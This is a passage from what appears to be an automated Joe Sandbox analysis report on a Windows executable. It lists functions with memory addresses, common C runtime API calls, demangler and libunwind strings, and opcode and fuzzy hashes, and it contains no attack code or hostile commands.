                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: tInt$unsigned
                                  • API String ID: 471065373-1789806510
                                  • Opcode ID: ef3acf26705adc4dc0c40c1580519def5e7105bcddab961c785bcf0feaa8951c
                                  • Instruction ID: 2c24a98f3a320a7a01f775826be6afec8b617b723cc825a3aedd2f4a2266fbd4
                                  • Opcode Fuzzy Hash: ef3acf26705adc4dc0c40c1580519def5e7105bcddab961c785bcf0feaa8951c
                                  • Instruction Fuzzy Hash: 51414FB3A16B8682DA659F56F4542AAB3A1EB58BC0F40C531CB9E07791EF3CE4418350
                                  Function 00007FF7797012D2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF779701E55
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF779701E5C
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: mallocmemcpystrlen
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 3344349799-3503049562
                                  • Opcode ID: 411cc94d638b4c5a65666b04f682356d8a7e8c8d03e2840adf31fc5fabca7cb3
                                  • Instruction ID: fe03e497fccda336ff3cf05c94aac187a923b9f438d35e31e1cf83c789c32f32
                                  • Opcode Fuzzy Hash: 411cc94d638b4c5a65666b04f682356d8a7e8c8d03e2840adf31fc5fabca7cb3
                                  • Instruction Fuzzy Hash: 5241646363AB0782EA61EF19A80116EE3B1FB497D0F940435DA8D07B51EF3CE145C3A0
                                  Function 00007FF77970F160 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$_assert
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/Utility.h$CurrentPosition
                                  • API String ID: 940201557-3339543485
                                  • Opcode ID: 7acef73fbec41d6dfa1be67c13337ccc807f794cd771a4b3e4e2917c685efc0b
                                  • Instruction ID: 761971960fdd80dc695e45c3b5665bae2cefbee74d18240622abd54817738595
                                  • Opcode Fuzzy Hash: 7acef73fbec41d6dfa1be67c13337ccc807f794cd771a4b3e4e2917c685efc0b
                                  • Instruction Fuzzy Hash: 7F4143A7B26F4682EF65DF56E880269A771EB9CFC0F848531CB8E47794DF2CE4418250
                                  Function 00007FF779718410 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 79COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: memsetwcscatwcscpywcslen
                                  • String ID: $0$@
                                  • API String ID: 468205783-2347541974
                                  • Opcode ID: e183844e820dd185498d54a444cfdf65eda0e2a936280ba6ff7fda81fa3f1c34
                                  • Instruction ID: 1c7be8c25c2de7c1e9fabefb7888166a3f28d94cdc8e8d3d9dae84fadd09b0dd
                                  • Opcode Fuzzy Hash: e183844e820dd185498d54a444cfdf65eda0e2a936280ba6ff7fda81fa3f1c34
                                  • Instruction Fuzzy Hash: D9419C6397E687C2F310EF14E4043AAE7B0EBC5784F804639E68C46AA5EF7CD1458B61
                                  Function 00007FF77970B364 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 56COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _assertmemcpyrealloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$basic_string$starts_with(SV, "basic_")
                                  • API String ID: 2326172077-800580732
                                  • Opcode ID: 1cf50003512e3ea4dae628e96ebf30add7ca9d163f89edfb160867659c8d9a78
                                  • Instruction ID: a988b9913f5aefdf77dff7e5eeef862e9136ee1f8515c1c2aa9fd033ce4127a7
                                  • Opcode Fuzzy Hash: 1cf50003512e3ea4dae628e96ebf30add7ca9d163f89edfb160867659c8d9a78
                                  • Instruction Fuzzy Hash: EE015EA3A36643C3EE54AF19F9812A9A371EF987C5F844831C64D07795EF2CE5818360
                                  Function 00007FF77970AA50 Relevance: 9.3, APIs: 6, Instructions: 291stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc$reallocstrlen
                                  • String ID:
                                  • API String ID: 2374275640-0
                                  • Opcode ID: 9fcff9b977f65c3a391a145938d85213577a97e659ce38ebb67324265da1d897
                                  • Instruction ID: fe51b830e87be325bd77c396c933ad09d1acd2d89e113d1b049ed772439b6032
                                  • Opcode Fuzzy Hash: 9fcff9b977f65c3a391a145938d85213577a97e659ce38ebb67324265da1d897
                                  • Instruction Fuzzy Hash: 43C1056362AB8282EB599F28D4543ADB7B1EB48BC1F848631CB9D073D5EF2CD551C360
                                  Function 00007FF779708DB0 Relevance: 9.1, APIs: 6, Instructions: 147COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 30d2cb59483826d978f11d2be31c172a2ece989509a146521bc4926f218ec95d
                                  • Instruction ID: 87c9f323824a831d7b226f9dfee3d2fa99f29232f6f7845e459f857d180fa1b3
                                  • Opcode Fuzzy Hash: 30d2cb59483826d978f11d2be31c172a2ece989509a146521bc4926f218ec95d
                                  • Instruction Fuzzy Hash: ED5163B3A26B8783DE649F56E8402A9A3B2EB58BC4F448531CB9D07791EF3DE4518350
                                  Function 00007FF779705E30 Relevance: 9.1, APIs: 6, Instructions: 140COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: d16cc2fde265a49c118596b96dd5b5cfa61d07f1c591749a92ff39ed06f51163
                                  • Instruction ID: d402e12f5b6a16ccfd7eb8575d2a7123bfa4c527e240c08f927b65544afa6f29
                                  • Opcode Fuzzy Hash: d16cc2fde265a49c118596b96dd5b5cfa61d07f1c591749a92ff39ed06f51163
                                  • Instruction Fuzzy Hash: E85141B3A16B4783DA659F56E850269B3A1FB58BC0F848535CB8E47791EF3CE4418350
                                  Function 00007FF779706030 Relevance: 9.1, APIs: 6, Instructions: 128COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID:
                                  • API String ID: 1833655766-0
                                  • Opcode ID: 6905e7ca18b6a58da2f216068c29ad50521c822ba058662085adb930a16d6f30
                                  • Instruction ID: cd1cd9fcdbcabc5d48ea236bddaa8190a8498b4ada2941de4ba0c6e757c59af1
                                  • Opcode Fuzzy Hash: 6905e7ca18b6a58da2f216068c29ad50521c822ba058662085adb930a16d6f30
                                  • Instruction Fuzzy Hash: B85140B7A26B4783DE689F16E8502ADA371EB58BC4B448531CB8E07791EF3CE4518350
                                  Function 00007FF7796F4F64 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
                                  • String ID:
                                  • API String ID: 3326252324-0
                                  • Opcode ID: 08f0997568cc7a319e12c3eb93543c3c92b5c3fd4d446526cdcdb6b294db1472
                                  • Instruction ID: 91503a751cddb127c7509bee2efae1a2ffa7dc86d7334fd2b22454d322116d1e
                                  • Opcode Fuzzy Hash: 08f0997568cc7a319e12c3eb93543c3c92b5c3fd4d446526cdcdb6b294db1472
                                  • Instruction Fuzzy Hash: 7C211527A7BA0386F655AF01A804376E772BF45BD1FC40535C80D83AA4EF2CAD5683B0
                                  Function 00007FF77970ED80 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 128COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$malloc
                                  • String ID: vector[$pixel ve
                                  • API String ID: 454241450-4216275618
                                  • Opcode ID: c7e31e28da302632c023a726f4a17732f91bf8205f05fac472730efd64aa863f
                                  • Instruction ID: 42856b5de8367f2908a96093a8583d6b5d938d34b409a3ce1f18e75e9902ec4b
                                  • Opcode Fuzzy Hash: c7e31e28da302632c023a726f4a17732f91bf8205f05fac472730efd64aa863f
                                  • Instruction Fuzzy Hash: 3941B1B3A26B8A82DA14DF16E8446ADB7B5FB58BC0F448531DF8D477A0DF38E5528340
                                  Function 00007FF779700BE5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 117stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF779701E55
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF779701E5C
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc$_assertstrlen
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 3012236610-3503049562
                                  • Opcode ID: 01387742c7347a065d0d3fa100ad1a8c0eb405b46fc2f649a98275b690413a58
                                  • Instruction ID: a37b87b9f6bfce6b418f4301a70aebfa75a4d2ac78354b2abb3e5e551aa75c35
                                  • Opcode Fuzzy Hash: 01387742c7347a065d0d3fa100ad1a8c0eb405b46fc2f649a98275b690413a58
                                  • Instruction Fuzzy Hash: 8E410433626B8285EB51DB18E4047A877B4FB48B91F514235DE5C0B7A1EF38E292C360
                                  Function 00007FF7797087F0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: > typena$ame $template
                                  • API String ID: 471065373-2892875084
                                  • Opcode ID: 9e9012e4aaa5198cb7273f277177ca7dcf34f7861e77788661574f326ce0afe6
                                  • Instruction ID: 4efa72c2e717564957e06f6345a27962ab047b80766bde298f3d42b0909b6469
                                  • Opcode Fuzzy Hash: 9e9012e4aaa5198cb7273f277177ca7dcf34f7861e77788661574f326ce0afe6
                                  • Instruction Fuzzy Hash: C6314FB3A26B4682DA29EF16E9441A9A771FB98BC0B408531CF8D47794EF38D5928350
                                  Function 00007FF77970A260 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: &$sizeof..
                                  • API String ID: 471065373-1098962357
                                  • Opcode ID: adf8345375f33b976376b6f3066ba57d42a7cef233737129a130052d44d8b66c
                                  • Instruction ID: 6ea8088946f10116c489370c9fdee8e25f519ec09adbe99dc5fcd29c31a2d031
                                  • Opcode Fuzzy Hash: adf8345375f33b976376b6f3066ba57d42a7cef233737129a130052d44d8b66c
                                  • Instruction Fuzzy Hash: 71316EB3A16B8683DA299F45F4442ADF3A1EB98BC4F448531DB8E47795EF3CD4418350
                                  Function 00007FF77970E920 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: restric$ volatil
                                  • API String ID: 471065373-3617781792
                                  • Opcode ID: 6f97b2bdcfadeecc99b906921db84679300aa3e2afda12722fcb0dde6b6c7a67
                                  • Instruction ID: e13c3df37df83ed1fa1dfa840747530622cec56ed9da6cde6b117ab9a2329df9
                                  • Opcode Fuzzy Hash: 6f97b2bdcfadeecc99b906921db84679300aa3e2afda12722fcb0dde6b6c7a67
                                  • Instruction Fuzzy Hash: 26414FB3A26B8682DA68DF49E54426DA771FB98BC4F508431DB9E477A0EF3CE441C350
                                  Function 00007FF7796F3D90 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 81COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fflush
                                  • String ID: CCG $libunwind: __libunwind_seh_personality() LanguageHandler returned %d$libunwind: __libunwind_seh_personality() calling LanguageHandler %p(%p, %p, %p, %p)
                                  • API String ID: 497872470-3214979313
                                  • Opcode ID: 5331a38f71f5f04ee22fa3a2a17e78d251d856f83c24bee91c8b074b7409e614
                                  • Instruction ID: 2911992498150cdf8e9dbf906d913d93e365732734d7ea1a3f417500d7e6e7ba
                                  • Opcode Fuzzy Hash: 5331a38f71f5f04ee22fa3a2a17e78d251d856f83c24bee91c8b074b7409e614
                                  • Instruction Fuzzy Hash: 24313E27E3964281EB10AF65E4407AAA273FF897C0F844136DE8D87795EE3CD4458760
                                  Function 00007FF77970B468 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 38COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
